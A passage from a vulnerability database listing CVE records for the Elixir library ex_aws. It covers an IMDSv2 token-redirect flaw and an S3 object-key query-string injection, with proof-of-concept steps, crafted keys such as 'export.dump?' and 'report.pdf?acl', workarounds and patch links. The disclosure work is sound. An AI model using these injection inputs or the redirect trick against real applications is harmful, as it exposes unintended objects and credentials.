"value": "* The attacker is positioned to answer requests the instance sends to 169.254.169.254, for example as an on-segment neighbor spoofing the link-local address.\n* The application obtains a metadata token through ExAws.InstanceMetaTokenProvider.get/1, which calls request_token/1 and sends PUT /latest/api/token to the link-local endpoint.\n* The attacker answers the PUT with 302 and a Location header pointing at a host they control.\n* The HTTP client follows the redirect because ex_aws passed follow_redirect: true, and the attacker\u0027s host replies 200 with a chosen body such as ATTACKER-CONTROLLED-SESSION-TOKEN.\n* get/1 returns that body as the IMDSv2 session token, and ex_aws caches it and sends it as x-aws-ec2-metadata-token on later metadata and credential requests."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Token request.\u003c/strong\u003e \u003ccode\u003eExAws.InstanceMetaTokenProvider.request_token/1\u003c/code\u003e sends the IMDSv2 \u003ccode\u003ePUT\u003c/code\u003e to the hard-coded link-local endpoint \u003ccode\u003ehttp://169.254.169.254/latest/api/token\u003c/code\u003e with \u003ccode\u003efollow_redirect: true\u003c/code\u003e in its HTTP options. AWS advises against following redirects on metadata requests, and IMDSv2\u0027s \"PUT plus required header\" design is itself an SSRF mitigation.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Redirect following.\u003c/strong\u003e Any \u003ccode\u003e3xx\u003c/code\u003e reply to the token request is followed by the HTTP client to whatever host its \u003ccode\u003eLocation\u003c/code\u003e header names. Nothing restricts the redirect target to the link-local range, so the request can leave \u003ccode\u003e169.254.169.254\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Token acceptance.\u003c/strong\u003e The body returned by the final URL is accepted verbatim as the session token, cached in ETS, and sent as the \u003ccode\u003ex-aws-ec2-metadata-token\u003c/code\u003e header on every later metadata and credential request the library makes. Whoever answers the redirect therefore chooses both where the token request ends up and which value is used as the token.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Token request.** `ExAws.InstanceMetaTokenProvider.request_token/1` sends the IMDSv2 `PUT` to the hard-coded link-local endpoint `http://169.254.169.254/latest/api/token` with `follow_redirect: true` in its HTTP options. AWS advises against following redirects on metadata requests, and IMDSv2\u0027s \"PUT plus required header\" design is itself an SSRF mitigation.\n\n**2. Redirect following.** Any `3xx` reply to the token request is followed by the HTTP client to whatever host its `Location` header names. Nothing restricts the redirect target to the link-local range, so the request can leave `169.254.169.254`.\n\n**3. Token acceptance.** The body returned by the final URL is accepted verbatim as the session token, cached in ETS, and sent as the `x-aws-ec2-metadata-token` header on every later metadata and credential request the library makes. Whoever answers the redirect therefore chooses both where the token request ends up and which value is used as the token."
}
],
"value": "1. Token request. ExAws.InstanceMetaTokenProvider.request_token/1 sends the IMDSv2 PUT to the hard-coded link-local endpoint http://169.254.169.254/latest/api/token with follow_redirect: true in its HTTP options. AWS advises against following redirects on metadata requests, and IMDSv2\u0027s \"PUT plus required header\" design is itself an SSRF mitigation.\n\n2. Redirect following. Any 3xx reply to the token request is followed by the HTTP client to whatever host its Location header names. Nothing restricts the redirect target to the link-local range, so the request can leave 169.254.169.254.\n\n3. Token acceptance. The body returned by the final URL is accepted verbatim as the session token, cached in ETS, and sent as the x-aws-ec2-metadata-token header on every later metadata and credential request the library makes. Whoever answers the redirect therefore chooses both where the token request ends up and which value is used as the token."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-59697",
"datePublished": "2026-11-24T11:43:17.078Z",
"dateReserved": "2026-07-06T14:05:47.003Z",
"dateUpdated": "2026-11-24T11:43:17.078Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-62269 (GCVE-0-2026-62269)
Vulnerability from cvelistv5 – Published: 2026-11-24 11:40 – Updated: 2026-11-24 11:40
VLAI
EPSS
VEX
Title
S3 object key query-string injection and truncation via unencoded reserved characters in ex_aws
Summary
Improper Encoding or Escaping of Output vulnerability in ex_aws (S3 request URL construction).
This vulnerability is associated with program files lib/ex_aws/request/url.ex and program routines ExAws.Request.Url.build/2, ExAws.Request.Url.sanitize/2 and ExAws.Request.Url.get_path/2.
ex_aws does not percent-encode reserved characters in S3 object keys when it assembles the request URL. A literal ? in an object key survives unencoded: build/2 inserts the operation path verbatim and URI.to_string/1 emits it without encoding, and sanitize/2 then splits the flattened URL on the first ?, treating everything after it as the query string. Because the split runs before uri_encode is applied to the path, the ? is never neutralized, and the recovered query is re-inserted without any encoding.
An attacker who controls part of an object key (for example a download or upload keyed by a user-supplied filename) can therefore truncate the key past application-appended suffixes, causing the request to address a different object than the application intended, and can inject live S3 sub-resource operations (such as ?acl, ?tagging or ?versions) into the request. The manipulated URL is signed and transmitted normally, so the tampering is authorized like any legitimate request.
This issue affects ex_aws: from 2.1.2 before 2.8.0.
Severity
CWE
- CWE-116 - Improper Encoding or Escaping of Output
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws/security/advisor… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-62269.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-62269 | related |
| https://github.com/ex-aws/ex_aws/commit/ecd51b196… | related |
| https://github.com/ex-aws/ex_aws/commit/963fcc094… | patch |
Impacted products
Date Public
2026-11-24 11:40
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Request.Url\u0027"
],
"packageName": "ex_aws",
"packageURL": "pkg:hex/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/request/url.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Request.Url\u0027:build/2"
},
{
"name": "\u0027Elixir.ExAws.Request.Url\u0027:sanitize/2"
},
{
"name": "\u0027Elixir.ExAws.Request.Url\u0027:get_path/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.8.0",
"status": "affected",
"version": "2.1.2",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Request.Url\u0027"
],
"packageName": "ex-aws/ex_aws",
"packageURL": "pkg:github/ex-aws/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/request/url.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Request.Url\u0027:build/2"
},
{
"name": "\u0027Elixir.ExAws.Request.Url\u0027:sanitize/2"
},
{
"name": "\u0027Elixir.ExAws.Request.Url\u0027:get_path/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "963fcc0948102608c6796959e7a0d84f37d84dce",
"status": "affected",
"version": "ecd51b1965909119ee597d6c0783334e30e59e58",
"versionType": "git"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThe vulnerability is reachable only on the Amazon S3 request path (the code guarded by service \u003ccode\u003e\"s3\"\u003c/code\u003e), which applications typically issue through the ex_aws_s3 package. The application must construct S3 operations whose object keys derive from untrusted input (for example a download or upload keyed by a user-supplied filename or identifier). Requests to other AWS services, and S3 operations built entirely from trusted keys, do not reach the vulnerable behavior.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "The vulnerability is reachable only on the Amazon S3 request path (the code guarded by service `\"s3\"`), which applications typically issue through the ex_aws_s3 package. The application must construct S3 operations whose object keys derive from untrusted input (for example a download or upload keyed by a user-supplied filename or identifier). Requests to other AWS services, and S3 operations built entirely from trusted keys, do not reach the vulnerable behavior."
}
],
"value": "The vulnerability is reachable only on the Amazon S3 request path (the code guarded by service \"s3\"), which applications typically issue through the ex_aws_s3 package. The application must construct S3 operations whose object keys derive from untrusted input (for example a download or upload keyed by a user-supplied filename or identifier). Requests to other AWS services, and S3 operations built entirely from trusted keys, do not reach the vulnerable behavior."
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.8.0",
"versionStartIncluding": "2.1.2",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T11:40:26.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eImproper Encoding or Escaping of Output vulnerability in ex_aws (S3 request URL construction).\u003c/p\u003e\n\u003cp\u003eThis vulnerability is associated with program files \u003ccode\u003elib/ex_aws/request/url.ex\u003c/code\u003e and program routines \u003ccode\u003eExAws.Request.Url.build/2\u003c/code\u003e, \u003ccode\u003eExAws.Request.Url.sanitize/2\u003c/code\u003e and \u003ccode\u003eExAws.Request.Url.get_path/2\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eex_aws does not percent-encode reserved characters in S3 object keys when it assembles the request URL. A literal \u003ccode\u003e?\u003c/code\u003e in an object key survives unencoded: \u003ccode\u003ebuild/2\u003c/code\u003e inserts the operation path verbatim and \u003ccode\u003eURI.to_string/1\u003c/code\u003e emits it without encoding, and \u003ccode\u003esanitize/2\u003c/code\u003e then splits the flattened URL on the first \u003ccode\u003e?\u003c/code\u003e, treating everything after it as the query string. Because the split runs before \u003ccode\u003euri_encode\u003c/code\u003e is applied to the path, the \u003ccode\u003e?\u003c/code\u003e is never neutralized, and the recovered query is re-inserted without any encoding.\u003c/p\u003e\n\u003cp\u003eAn attacker who controls part of an object key (for example a download or upload keyed by a user-supplied filename) can therefore truncate the key past application-appended suffixes, causing the request to address a different object than the application intended, and can inject live S3 sub-resource operations (such as \u003ccode\u003e?acl\u003c/code\u003e, \u003ccode\u003e?tagging\u003c/code\u003e or \u003ccode\u003e?versions\u003c/code\u003e) into the request. The manipulated URL is signed and transmitted normally, so the tampering is authorized like any legitimate request.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws: from 2.1.2 before 2.8.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Improper Encoding or Escaping of Output vulnerability in ex_aws (S3 request URL construction).\n\nThis vulnerability is associated with program files `lib/ex_aws/request/url.ex` and program routines `ExAws.Request.Url.build/2`, `ExAws.Request.Url.sanitize/2` and `ExAws.Request.Url.get_path/2`.\n\nex_aws does not percent-encode reserved characters in S3 object keys when it assembles the request URL. A literal `?` in an object key survives unencoded: `build/2` inserts the operation path verbatim and `URI.to_string/1` emits it without encoding, and `sanitize/2` then splits the flattened URL on the first `?`, treating everything after it as the query string. Because the split runs before `uri_encode` is applied to the path, the `?` is never neutralized, and the recovered query is re-inserted without any encoding.\n\nAn attacker who controls part of an object key (for example a download or upload keyed by a user-supplied filename) can therefore truncate the key past application-appended suffixes, causing the request to address a different object than the application intended, and can inject live S3 sub-resource operations (such as `?acl`, `?tagging` or `?versions`) into the request. The manipulated URL is signed and transmitted normally, so the tampering is authorized like any legitimate request.\n\nThis issue affects ex_aws: from 2.1.2 before 2.8.0."
}
],
"value": "Improper Encoding or Escaping of Output vulnerability in ex_aws (S3 request URL construction).\n\nThis vulnerability is associated with program files lib/ex_aws/request/url.ex and program routines ExAws.Request.Url.build/2, ExAws.Request.Url.sanitize/2 and ExAws.Request.Url.get_path/2.\n\nex_aws does not percent-encode reserved characters in S3 object keys when it assembles the request URL. A literal ? in an object key survives unencoded: build/2 inserts the operation path verbatim and URI.to_string/1 emits it without encoding, and sanitize/2 then splits the flattened URL on the first ?, treating everything after it as the query string. Because the split runs before uri_encode is applied to the path, the ? is never neutralized, and the recovered query is re-inserted without any encoding.\n\nAn attacker who controls part of an object key (for example a download or upload keyed by a user-supplied filename) can therefore truncate the key past application-appended suffixes, causing the request to address a different object than the application intended, and can inject live S3 sub-resource operations (such as ?acl, ?tagging or ?versions) into the request. The manipulated URL is signed and transmitted normally, so the tampering is authorized like any legitimate request.\n\nThis issue affects ex_aws: from 2.1.2 before 2.8.0."
}
],
"impacts": [
{
"capecId": "CAPEC-137",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-137 Parameter Injection"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "LOCAL",
"baseScore": 5.1,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-116",
"description": "CWE-116 Improper Encoding or Escaping of Output",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T11:40:27.176Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws/security/advisories/GHSA-96q9-mcc7-hqj8"
},
{
"name": "EEF CNA record for CVE-2026-62269",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-62269.html"
},
{
"name": "OSV record EEF-CVE-2026-62269",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-62269"
},
{
"name": "Introducing commit ecd51b1 in ex-aws/ex_aws",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws/commit/ecd51b1965909119ee597d6c0783334e30e59e58"
},
{
"name": "Fix commit 963fcc0 in ex-aws/ex_aws",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws/commit/963fcc0948102608c6796959e7a0d84f37d84dce"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "S3 object key query-string injection and truncation via unencoded reserved characters in ex_aws",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eBefore constructing an S3 operation, percent-encode reserved characters in the object key (or reject keys that contain \u003ccode\u003e?\u003c/code\u003e or \u003ccode\u003e#\u003c/code\u003e) so that no reserved character reaches the URL builder unencoded.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Before constructing an S3 operation, percent-encode reserved characters in the object key (or reject keys that contain `?` or `#`) so that no reserved character reaches the URL builder unencoded."
}
],
"value": "Before constructing an S3 operation, percent-encode reserved characters in the object key (or reject keys that contain ? or #) so that no reserved character reaches the URL builder unencoded."
}
],
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eAn application lets users download text exports and builds the object key from a user-supplied filename, appending the extension itself: \u003ccode\u003ekey = filename \u0026lt;\u0026gt; \".txt\"\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eIt fetches the object through the public entry point: \u003ccode\u003eExAws.S3.get_object(bucket, key) |\u0026gt; ExAws.request(config)\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eA benign filename \u003ccode\u003eexport\u003c/code\u003e yields the key \u003ccode\u003eexport.txt\u003c/code\u003e and the request \u003ccode\u003eGET /victim-bucket/export.txt\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker supplies the filename \u003ccode\u003eexport.dump?\u003c/code\u003e, producing the key \u003ccode\u003eexport.dump?.txt\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eex_aws sends \u003ccode\u003eGET /victim-bucket/export.dump\u003c/code\u003e with the query string \u003ccode\u003e.txt\u003c/code\u003e: the application\u0027s \u003ccode\u003e.txt\u003c/code\u003e suffix is moved into the query and dropped from the key.\u003c/li\u003e\n\u003cli\u003eS3 returns the bytes of \u003ccode\u003eexport.dump\u003c/code\u003e, an object of a different type the application never meant to expose.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. An application lets users download text exports and builds the object key from a user-supplied filename, appending the extension itself: `key = filename \u003c\u003e \".txt\"`.\n2. It fetches the object through the public entry point: `ExAws.S3.get_object(bucket, key) |\u003e ExAws.request(config)`.\n3. A benign filename `export` yields the key `export.txt` and the request `GET /victim-bucket/export.txt`.\n4. The attacker supplies the filename `export.dump?`, producing the key `export.dump?.txt`.\n5. ex_aws sends `GET /victim-bucket/export.dump` with the query string `.txt`: the application\u0027s `.txt` suffix is moved into the query and dropped from the key.\n6. S3 returns the bytes of `export.dump`, an object of a different type the application never meant to expose."
}
],
"value": "* An application lets users download text exports and builds the object key from a user-supplied filename, appending the extension itself: key = filename \u003c\u003e \".txt\".\n* It fetches the object through the public entry point: ExAws.S3.get_object(bucket, key) |\u003e ExAws.request(config).\n* A benign filename export yields the key export.txt and the request GET /victim-bucket/export.txt.\n* The attacker supplies the filename export.dump?, producing the key export.dump?.txt.\n* ex_aws sends GET /victim-bucket/export.dump with the query string .txt: the application\u0027s .txt suffix is moved into the query and dropped from the key.\n* S3 returns the bytes of export.dump, an object of a different type the application never meant to expose."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. URL assembly.\u003c/strong\u003e \u003ccode\u003eExAws.Request.Url.build/2\u003c/code\u003e inserts the operation path (bucket and object key) verbatim, and \u003ccode\u003eURI.to_string/1\u003c/code\u003e emits it without percent-encoding. A literal \u003ccode\u003e?\u003c/code\u003e in the object key passes straight into the flattened URL string.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Path/query split.\u003c/strong\u003e For S3, \u003ccode\u003esanitize/2\u003c/code\u003e recovers the path and query by splitting that string on the first \u003ccode\u003e?\u003c/code\u003e. \u003ccode\u003eget_path/2\u003c/code\u003e keeps only the portion before the \u003ccode\u003e?\u003c/code\u003e as the path and runs it through \u003ccode\u003euri_encode\u003c/code\u003e. Everything after the \u003ccode\u003e?\u003c/code\u003e becomes the query string and is re-inserted without any encoding.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Signing and transmission.\u003c/strong\u003e Because the split happens before \u003ccode\u003euri_encode\u003c/code\u003e runs, the path encoder never sees the \u003ccode\u003e?\u003c/code\u003e. The resulting request is signed and sent as built:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ethe key \u003ccode\u003ereport.pdf?acl\u003c/code\u003e is sent as \u003ccode\u003eGET /report.pdf?acl\u003c/code\u003e, promoting \u003ccode\u003e?acl\u003c/code\u003e from key bytes into a live S3 sub-resource parameter;\u003c/li\u003e\n\u003cli\u003ethe key \u003ccode\u003esecret?\u0026lt;suffix\u0026gt;\u003c/code\u003e loses everything after the \u003ccode\u003e?\u003c/code\u003e (for example an application-appended \u003ccode\u003e.json\u003c/code\u003e extension), so the request addresses a different object than the one the caller constructed.\u003c/li\u003e\n\u003c/ul\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. URL assembly.** `ExAws.Request.Url.build/2` inserts the operation path (bucket and object key) verbatim, and `URI.to_string/1` emits it without percent-encoding. A literal `?` in the object key passes straight into the flattened URL string.\n\n**2. Path/query split.** For S3, `sanitize/2` recovers the path and query by splitting that string on the first `?`. `get_path/2` keeps only the portion before the `?` as the path and runs it through `uri_encode`. Everything after the `?` becomes the query string and is re-inserted without any encoding.\n\n**3. Signing and transmission.** Because the split happens before `uri_encode` runs, the path encoder never sees the `?`. The resulting request is signed and sent as built:\n\n- the key `report.pdf?acl` is sent as `GET /report.pdf?acl`, promoting `?acl` from key bytes into a live S3 sub-resource parameter;\n- the key `secret?\u003csuffix\u003e` loses everything after the `?` (for example an application-appended `.json` extension), so the request addresses a different object than the one the caller constructed."
}
],
"value": "1. URL assembly. ExAws.Request.Url.build/2 inserts the operation path (bucket and object key) verbatim, and URI.to_string/1 emits it without percent-encoding. A literal ? in the object key passes straight into the flattened URL string.\n\n2. Path/query split. For S3, sanitize/2 recovers the path and query by splitting that string on the first ?. get_path/2 keeps only the portion before the ? as the path and runs it through uri_encode. Everything after the ? becomes the query string and is re-inserted without any encoding.\n\n3. Signing and transmission. Because the split happens before uri_encode runs, the path encoder never sees the ?. The resulting request is signed and sent as built:\n\n* the key report.pdf?acl is sent as GET /report.pdf?acl, promoting ?acl from key bytes into a live S3 sub-resource parameter;\n* the key secret?\u003csuffix\u003e loses everything after the ? (for example an application-appended .json extension), so the request addresses a different object than the one the caller constructed."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-62269",
"datePublished": "2026-11-24T11:40:27.176Z",
"dateReserved": "2026-07-13T18:06:12.918Z",
"dateUpdated": "2026-11-24T11:40:27.176Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}